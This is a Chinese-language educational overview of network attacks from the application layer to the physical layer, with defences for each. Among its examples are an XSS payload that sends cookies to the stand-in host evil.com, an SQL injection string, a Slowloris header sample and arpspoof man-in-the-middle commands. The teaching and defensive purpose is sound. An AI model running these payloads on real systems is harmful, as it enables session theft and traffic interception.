计算机网络分层攻击全图

从应用层到物理层,系统了解各层次常见攻击的原理与防御方法

L7 应用层
SQL 注入 XSS 跨站脚本 DNS 劫持 HTTP 慢速攻击 SSRF 服务端请求伪造
L4 传输层
TCP SYN Flood TCP 会话劫持 UDP Flood
L3 网络层
IP 欺骗 ICMP Smurf 路由器劫持 BGP
L2 链路层
ARP 欺骗 / 中间人 MAC 泛洪 VLAN 跳跃
L1 物理层
物理窃听 电磁干扰 / 信号欺骗
Layer 7
应用层攻击
💉
SQL 注入 (SQL Injection)
严重
攻击者在用户输入字段中插入恶意 SQL 语句,当服务端直接拼接 SQL 查询时,这些语句会被数据库执行,可导致数据泄露、篡改甚至删除。
动态演示:SQL 注入过程
1
用户输入正常登录信息 → 服务端构建 SQL: SELECT * FROM users WHERE user='admin' AND pass='123'
2
攻击者输入: admin' OR '1'='1,服务端拼接后变成:...WHERE user='admin' OR '1'='1'--'
3
条件永远为真,数据库返回所有用户记录,攻击者绕过认证成功登录
// 危险写法(直接拼接)
query = "SELECT * FROM users WHERE user='" + input + "'"

// 安全写法(参数化查询)
query = "SELECT * FROM users WHERE user = ?"
stmt.execute(query, [input])
防御方法
  • 使用参数化查询 / 预编译语句,永远不要字符串拼接 SQL
  • 后端对所有用户输入进行白名单验证和过滤
  • 数据库账户最小权限原则,业务账户不给 DROP/ALTER 权限
  • 部署 WAF(Web 应用防火墙)检测和拦截 SQL 注入特征
🎣
XSS 跨站脚本攻击 (Cross-Site Scripting)
高危
攻击者将恶意脚本注入到受信任网页中。其他用户访问该页面时,脚本在其浏览器中执行,可窃取 Cookie、Session、用户凭据,或代替用户发送请求。
存储型 XSS 攻击链
攻击者 Attacker Web 服务器 数据库存储 受害者浏览器 Victim ① 提交恶意脚本 ② 访问页面时脚本执行 ③ Cookie 被发送给攻击者 <script>... 执行脚本 document.cookie
// 攻击者提交的评论内容
"<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"

// 服务端防御:HTML 转义输出
safeOutput = htmlEscape(userInput)  // < → &lt; > → &gt;
防御方法
  • 所有输出到 HTML 的内容必须进行转义(htmlspecialchars)
  • 设置 Content-Security-Policy (CSP) 响应头,限制脚本来源
  • Cookie 设置 HttpOnly 标志,JavaScript 无法读取
  • 使用 XSS 过滤库(如 DOMPurify)处理富文本输入
🧭
DNS 劫持 (DNS Hijacking)
高危
通过篡改 DNS 查询响应,将用户对合法域名的请求重定向到恶意服务器。用户以为访问的是正规网站,实际上是仿冒钓鱼站点。
DNS 劫持流程动画
1
用户输入 www.bank.com,查询本地/运营商 DNS
2
被劫持的 DNS 服务器返回伪造 IP:恶意服务器地址
3
浏览器连接到钓鱼站点,用户输入账号密码被窃取
防御方法
  • 使用 DNSSEC 对 DNS 记录进行数字签名验证
  • 使用可信 DoH(DNS over HTTPS)或 DoT(DNS over TLS)
  • HSTS 强制 HTTPS,避免用户访问 HTTP 仿冒站
  • 浏览器证书检查,发现证书异常立即告警
🐌
HTTP 慢速攻击 (Slowloris)
中危
攻击者发送大量不完整的 HTTP 请求,保持连接不断开但又不结束请求,占满服务器的连接池,导致正常用户无法连接。不需要高带宽,极难检测。
Slowloris 连接耗尽动画
# Slowloris 发送的请求头(故意不发完整)
GET / HTTP/1.1
Host: target.com
X-a: b  ← 每隔15秒发一个新Header,不发结束的空行
X-a: b  ← 服务器等待请求完成,连接被占住
防御方法
  • 设置 HTTP 请求超时时间(request timeout),超时断开
  • 使用 Nginx 的 client_header_timeout 限制
  • 限制单个 IP 的最大连接数
  • 反向代理(CDN)在前端吸收连接,真实服务器不直接暴露
🔄
SSRF 服务端请求伪造 (Server-Side Request Forgery)
高危
攻击者构造特殊请求,诱使服务端向攻击者指定的内网地址发起请求,从而探测内网服务、访问元数据接口(如云服务器的 169.254.169.254),甚至通过内网跳板攻击其他系统。
SSRF 绕过网络边界原理
攻击者 公网 防火墙 Firewall Web 服务器 内网可访问 内网数据库 192.168.1.100 云元数据 169.254.169.254 url=http://192.168.1.100 服务端发起请求 绕过防火墙访问
防御方法
  • 服务端请求前验证 URL,禁止请求内网 IP(10.x, 172.x, 192.168.x, 169.254.x)
  • 将外部请求功能隔离到专用网络区域,无法访问内网
  • 使用 URL 白名单,只允许访问已知合法域名
  • 禁用不必要的 URL schema(file://, gopher://, dict://)
Layer 4
传输层攻击
🌊
TCP SYN Flood 攻击
严重
TCP 三次握手中,服务端在收到 SYN 包后分配资源并等待 ACK 确认。攻击者发送海量伪造源 IP 的 SYN 包,服务端的半连接队列(SYN Queue)被塞满,无法接受正常连接。
TCP 三次握手 vs SYN Flood 对比
1
正常:Client → Server 发送 SYN,Server 回 SYN-ACK,Client 回 ACK,连接建立
2
攻击:大量伪造来源 IP 的 SYN 包涌入,服务端半连接队列满,真实用户 SYN 被丢弃
防御方法
  • 开启 SYN Cookie:不分配资源,在 SYN-ACK 中嵌入验证信息,收到 ACK 才建连
  • 缩短半连接超时时间,加快资源释放
  • 增大半连接队列容量(net.ipv4.tcp_max_syn_backlog)
  • 上游 BGP 黑洞路由(RTBH)或流量清洗中心过滤
🔑
TCP 会话劫持 (Session Hijacking)
高危
攻击者通过嗅探或预测 TCP 序列号(SEQ),伪造合法通信方发送数据包,插入到已建立的 TCP 连接中,接管会话。常配合 ARP 欺骗在局域网内实施。
TCP 序列号劫持原理
Client seq=1000 Server 等待 seq=1001 Data seq=1000 攻击者 嗅探到 seq 值 伪造 seq=1001 攻击包 攻击者预测/嗅探 SEQ,抢先发包,Server 认为是合法连接方
防御方法
  • 使用 TLS 加密所有通信,即使序列号被预测也无法伪造密文包
  • 内核使用随机化 ISN(Initial Sequence Number)增大预测难度
  • 部署 IDS/IPS 检测序列号异常的数据包
  • 网络层面防止 ARP 欺骗(静态 ARP 绑定、DAI)
💥
UDP Flood 攻击
高危
向目标主机的随机端口发送大量 UDP 数据包。目标主机需要对每个包检查是否有对应端口的应用,若无则回复 ICMP "端口不可达",大量处理消耗 CPU 和带宽,导致服务中断。
防御方法
  • 在防火墙限制 UDP 流量速率,对非业务 UDP 端口一律拒绝
  • 启用 uRPF(反向路径转发)过滤伪造源 IP
  • 上游流量清洗,过滤异常 UDP 数据包
  • 对必要的 UDP 服务(如 DNS)启用速率限制
Layer 3
网络层攻击
🎭
IP 欺骗 (IP Spoofing)
高危
IP 协议本身不验证源地址真实性。攻击者伪造数据包中的源 IP 地址,可以冒充受信任主机、隐藏攻击来源,或作为 DDoS 放大攻击(如 ICMP Smurf)的基础。
IP 欺骗数据包结构
IP 数据包 版本/头部 TTL/协议 源 IP 地址 ★ 可以伪造! 192.168.1.1→Spoofed 目的 IP 地址 真实目标地址 数据载荷 (Payload) UDP/TCP 数据或攻击内容 IP 层无认证机制,路由器只看目的地址转发,不验证源地址是否真实
防御方法
  • 运营商部署 BCP38(Ingress Filtering):只允许转发真实属于该网段的源 IP
  • 路由器配置 uRPF(单播反向路径转发)
  • 上层协议(如 TCP TLS)使用握手验证,IP 欺骗无法完成握手
📡
ICMP Smurf 放大攻击
高危
攻击者发送伪造源 IP(目标受害者)的 ICMP Echo Request 到广播地址,网段内所有主机都会向受害者回复 ICMP Echo Reply,实现流量放大。一个包可以产生数百倍的攻击流量。
Smurf 放大原理示意
攻击者 1个包 中继网络 广播地址 N 台主机 N=100+ 受害者 N×100 个包 ICMP Echo,src=受害者IP N×ICMP Reply → 受害者 放大倍数 = 中继网络主机数,可达 100~500x,带宽消耗压垮受害者
防御方法
  • 路由器禁止转发广播地址的 IP 包(no ip directed-broadcast)
  • uRPF 过滤伪造源 IP
  • 防火墙限制 ICMP 包速率
🗺️
BGP 路由劫持 (BGP Hijacking)
严重
BGP(边界网关协议)是互联网路由核心协议,运行在 AS(自治系统)之间。恶意或配置错误的 AS 可以向全球发布虚假路由公告,宣称自己拥有某段 IP,导致全球流量被重定向,历史上多次发生(如 2010 年中国电信劫持事件)。
# 正常情况:Google 8.8.8.8 归属 AS15169
8.8.8.0/24 → AS15169 (Google)

# BGP劫持:恶意AS宣称更精确路由
8.8.8.0/25 → AS4134 (恶意AS)  ← 更精确,优先级更高
# 全球路由器将目标 /25 流量转向攻击者
防御方法
  • 部署 RPKI(Resource Public Key Infrastructure)验证 AS 是否有权发布该前缀
  • BGP 路由过滤和前缀限制策略
  • 监控 BGP 路由变化,异常时快速响应
  • 使用 MANRS(路由安全联合协议)框架
Layer 2
链路层攻击
👥
ARP 欺骗 / 中间人攻击 (ARP Spoofing / MITM)
严重
ARP(地址解析协议)将 IP 地址映射到 MAC 地址,但协议无认证机制。攻击者向网络广播伪造的 ARP 响应,污染主机 ARP 缓存,使流量经过攻击者设备,实现中间人攻击(流量监听、篡改)。
ARP 欺骗完整攻击过程
1
正常情况:受害者 ARP 缓存中,网关 IP → 网关真实 MAC
2
攻击者持续发送伪造 ARP 响应:"网关 IP 对应的是我的 MAC"
3
受害者 ARP 缓存被污染,所有发往网关的流量都经过攻击者
4
攻击者开启 IP 转发,完成中间人,可监听/篡改所有未加密流量
# 使用 arpspoof 工具模拟攻击(勿用于非授权环境!)
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
# 告诉受害者(100):"网关(1)的MAC是我的MAC"
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
# 告诉网关(1):"受害者(100)的MAC是我的MAC"
echo 1 > /proc/sys/net/ipv4/ip_forward  # 开启转发
防御方法
  • 交换机开启 Dynamic ARP Inspection (DAI),验证 ARP 包合法性
  • 关键设备配置静态 ARP 绑定(IP-MAC 固定映射)
  • 使用 HTTPS/TLS 加密,即使 MITM 也无法解密
  • 802.1X 端口认证,限制非授权设备接入
  • 终端安装 ARP 防火墙,检测 ARP 缓存异常变化
📋
MAC 泛洪 (MAC Flooding / CAM Table Overflow)
高危
交换机使用 CAM 表(内容可寻址内存)存储 MAC→端口映射。攻击者向交换机发送大量不同源 MAC 的帧,填满 CAM 表后,交换机退化为 Hub,将所有数据帧广播到所有端口,攻击者即可嗅探全网流量。
CAM 表溢出过程
交换机 CAM 表 AA:BB → Port 1 CC:DD → Port 2 ?????:?? → ??? CAM 满!→ 广播模式 正常主机 Port 1 攻击者 泛洪 MAC 发送N个假MAC帧 CAM 表溢出后,交换机变成 Hub,攻击者可收到全部广播帧
防御方法
  • 交换机端口安全(Port Security):限制每端口可学习 MAC 数量
  • 超出限制自动关闭端口(shutdown)或丢弃(restrict)
  • 802.1X 认证确保只有合法设备才能接入
🪜
VLAN 跳跃攻击 (VLAN Hopping)
高危
通过发送 802.1Q 双重标签帧,或模拟交换机发起 DTP 协商,攻击者可以从一个 VLAN 访问其他隔离 VLAN 的流量,绕过 VLAN 隔离策略。
防御方法
  • 关闭所有非 Trunk 端口上的 DTP 自动协商(switchport nonegotiate)
  • 原生 VLAN 不使用 VLAN 1,避免双标签攻击
  • 用户端口明确指定 Access 模式,不允许 Trunk
Layer 1
物理层攻击
👂
物理窃听 (Physical Eavesdropping)
中危
直接接触物理介质(网线、光纤分路)获取传输信号。铜制网线(双绞线)可通过感应电磁场被动嗅探;光纤也可使用分光器在不中断信号的情况下分流监听。
铜线 vs 光纤 的物理安全性对比
双绞线 / 铜缆 电磁辐射可被感应 无需接触:感应线圈即可嗅探 风险:高 光纤 需要物理分光器 弯曲光纤可分流约 5% 光信号 风险:较低,但仍可能 无论介质类型,核心防御是端到端加密(TLS)
防御方法
  • 所有敏感通信使用 TLS/IPSec 端到端加密,即使截获也无法解密
  • 机房使用电磁屏蔽(Faraday 屏蔽室)
  • 光纤链路监控光功率,异常分光会导致信号衰减告警
  • 物理机房访问严格管控,CCTV + 门禁
📶
电磁干扰 / 无线信号欺骗 (RF Jamming / Spoofing)
中危
无线网络(WiFi、4G/5G)的物理层攻击包括:发射同频干扰信号使通信中断(Jamming);伪造基站或 WiFi AP 吸引设备连接(Evil Twin AP、IMSI Catcher),中间人监听无线流量。
防御方法
  • 使用 WPA3 加密无线通信,降低密钥被破解风险
  • 企业级 802.1X + EAP 认证,防止接入伪 AP
  • VPN 隧道加密所有无线流量
  • 关键场所部署无线入侵检测系统(WIDS)